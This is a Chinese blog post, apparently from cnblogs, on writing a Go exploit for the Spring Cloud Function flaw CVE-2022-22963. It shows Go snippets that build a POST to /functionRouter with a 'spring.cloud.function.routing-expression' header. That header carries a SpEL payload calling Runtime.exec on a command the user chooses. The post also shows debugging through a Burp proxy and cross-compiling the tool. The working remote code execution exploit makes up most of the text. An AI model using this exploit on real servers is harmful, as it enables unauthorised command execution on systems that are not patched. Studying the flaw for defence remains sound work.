首页 > 其他分享 >EXP练手:CVE-2022-22963从编写到调试排错

EXP练手:CVE-2022-22963从编写到调试排错

时间:2024-05-13 10:53:26浏览次数:13  
标签:练手 body http 排错 参数 EXP go 编写 数据包

写什么?

之前在使用Spring相关工具时候发现其中漏洞利用模块CVE-2022-22963需要手动利用(2023年的笔记,现在不确认工具是否更新了)

GitHub - AabyssZG/SpringBoot-Scan: 针对SpringBoot的开源渗透框架,以及Spring相关高危漏洞利用工具

于是尝试编写这个exp,对编程不熟悉的可以看看我的Golang poc编写教程点此跳转

抓取数据包-明确要求

image

标红的是payload

可见,我们需要:

开始编写

格式

很多命令行工具,都会有类似这样的界面

image

用来展示参数说明,并且具有接收参数的功能

target := flag.String("u", "【默认值】", "【参数说明】")
command := flag.String("c", "【默认值】", "【参数说明】")
flag.Parse() //解析参数

其中【默认值】表示在不指定的情况下,该变量的值
【参数说明】为命令行下./xxx --help时候展示的内容

这些数据为引用类型,下文中要使用这些参数时,需要加*

fmt.Println(*target)可以打印target参数

另外需要注意的是在flag.Parse()之后才会加载这些参数,所以你的代码的banner需要放在此之前,若放在此之后则在使用--help时候,不会显示banner

POST数据包

现在我们需要构造一个POST请求

post_body := url.Values{}
post_body.Add("test", "test")
a, _ := http.NewRequest("POST", *target+"/functionRouter", bytes.NewBuffer([]byte(post_body.Encode())))

body并不影响此漏洞利用,所以有内容即可

使用NewRequest生成一个新的http请求

第一个参数为请求类型,选择POST

第二个参数为url,我们将接收到的target参数取出,并拼接上漏洞路径

第三个参数为body,需要注意类型转换

插入payload

我们的payload在header中,我们现在给这个生成的http请求的hearder加上payload

常见的增加header的方式:

a.Header.Add("【字段名key】","【字段值value】")

本人最开始也是用这个方法去编写的,但是无法成功利用(具体见下文)

发送数据包

数据包已经构造好了,接下来就是把数据包发送出去

http.DefaultClient.Do(a)

这个方法调用一个默认的客户端发送请求

正常情况下,我们需要从返回包中获取一些特征来判断是否利用成功,但是这个漏洞不需要所以省略此部分

关闭连接

及时关闭资源非常有必要(尤其是涉及到高并发的情况下)

关闭资源分为两步

1:关闭返回对象resp的body

2:关闭http连接

参考链接:GO 关闭http请求的几种方式 - 掘金 (juejin.cn)

调试

在编写完成之后,发现一直无法成功利用

这时候就要开始调试,调试的思路:让流量挂上代理(指向burp),然后我们观察burp抓到的数据包进行分析

//获取有代理的客户端,并发送数据包
    proxy := func(_ *http.Request) (*url.URL, error) {
        return url.Parse("http://192.168.108.134:8081")
    }
    transport := &http.Transport{Proxy: proxy}
    client := &http.Client{Transport: transport} //有代理、且会跟随跳转

完成之后,我们再次运行并抓包

发现端倪

image

可以看见,数据包中的大小写有所不同

查阅资料得知,a.Header.Add("【字段名key】","【字段值value】")这个方法会自动修改大小写

所以我们换一个方法即可a.Header["key"]=[]string{"value"}

a.Header["spring.cloud.function.routing-expression"] = []string{"T(java.lang.Runtime).getRuntime().exec(\"" + *command + "\")"}

修改完成之后,重新运行,成功利用

image

打包代码

将我们的代码打包成多个平台的可执行程序

在项目路径下打包代码(这里以Linux平台为例,不同平台交叉编译的代码不同)

Linux

#编译出可以在本机(Linux)上运行的可执行程序
go build main.go

Windows(交叉编译)

#编译出可以在windows系统上运行的可执行程序
CGO_ENABLED=0 GOOS=windows  GOARCH=amd64  go build main.go

Mac(交叉编译)

#编译出可以在Mac上运行的可执行程序
CGO_ENABLED=0 GOOS=darwin  GOARCH=amd64  go build main.go

编写完成(撒花)

标签:练手,body,http,排错,参数,EXP,go,编写,数据包
From: https://www.cnblogs.com/Aixve/p/18188792

相关文章

  • QT: Expression:c >= -1 && c <= 255
    报错内容分析错误注意看报错位置位于isctype.cpp文件的Line:36我们打开isctype.cpp,其36行内容如下extern"C"int__cdecl_chvalidator(intconstc,intconstmask){_ASSERTE(c>=-1&&c<=255);return_chvalidator_l(nullptr,c,mask);}主要是第3行:_......
  • js之模块导入与导出:export、export default、module.exports、exports
    前两者export、exportdefault可为一组,是es6的规范,和import匹配,import是es6中的语法标准;后两者module.exports、exports可为一组,是commonjs的规范,和require匹配,require是amd规范下的引入方式。当组合不适配时,当然就会报错了。module.exports、exports1,从使用方式来看,exports是mo......
  • The Garden of Unexpected Wonders
    Scene1:(AyounggirlnamedLilystandsinherbackyard,staringcuriouslyatapatchofovergrownweeds.)Lily(whispering):I'venevernoticedthispartofthegardenbefore.Whatcouldbehidinghere?(Lilycarefullypullsawaysomeoftheweeds......
  • 界面组件DevExpress Reporting中文教程 - 标记(可访问)PDF导出增强
    DevExpressReporting是.NETFramework下功能完善的报表平台,它附带了易于使用的VisualStudio报表设计器和丰富的报表控件集,包括数据透视表、图表,因此您可以构建无与伦比、信息清晰的报表。可访问性支持在DevExpress这里仍然是一个高优先级,在v23.2版本生命周期中,我们专注于控制级......
  • PCI-Express-Technology(三)
    3.1总线/设备/功能/的定义(DefinitionofBus,DeviceandFunction)正如PCI一样,每个PCIe功能(Function)的标识在其所在的设备内,以及这个设备所连接的总线内,都是唯一的。其标识符一般被称为“BDF”。对于任意一个PCIe拓扑结构,配置软件负责检测出拓扑中的每个Bus、Device和Functio......
  • 界面控件开发包DevExpress v23.2.6全新发布|附高速下载
    DevExpress拥有.NET开发需要的所有平台控件,包含600多个UI控件、报表平台、DevExpressDashboardeXpressApp框架、适用于VisualStudio的CodeRush等一系列辅助工具。屡获大奖的软件开发平台DevExpress近期重要版本v23.2已正式发布,该版本拥有众多新产品和数十个具有高影响力的功......
  • 配置node_exporter
    配置node_exporter配置node_exporter可以通过--web.listen-address和--web.telemetry-path参数来设置端口和路径。例如:node_exporter--web.listen-address=":9600"--web.telemetry-path="/node_metrics"禁用收集器许多收集器默认都是启用的。使用no-前缀来修改状态。例如,......
  • Outrageously Large Neural Networks The Sparsely-Gated Mixture-of-Experts Layer
    目录概MoE训练ShazeerN.,MirhoseiniA.,MaziarzK.,DavisA.,LeQ.,HintonG.andDeanJ.Outrageouslylargeneuralnetworks:Thesparsely-gatedmixture-of-expertslayer.ICLR,2017.概Mixture-of-Experts(MoE).MoE通过一gatingnetwork选择不同的exp......
  • C#动态查询:巧用Expression组合多条件表达式
     概述:在C#中,通过`Expression`类、`AndAlso`和`OrElse`方法可组合两个`Expression<Func<T,bool>>`,实现多条件动态查询。通过创建表达式树,可轻松构建复杂的查询条件。在C#中,可以使用AndAlso和OrElse方法组合两个Expression<Func<T,bool>>类型的表达式。以下是详细解释和实例......
  • PCI-Express-Technology(四)
    PCIe支持三个地址空间,与PCI中的三个地址空间完全相同:n配置空间(Configuration)n内存地址空间(Memory)nIO地址空间(IO)4.1.1配置空间(ConfigurationSpace)如我们在Chapter1中所讨论的,配置空间是由PCI引入的,软件通过配置空间就可以用一种标准化的方法来对设备的状态进行控制和......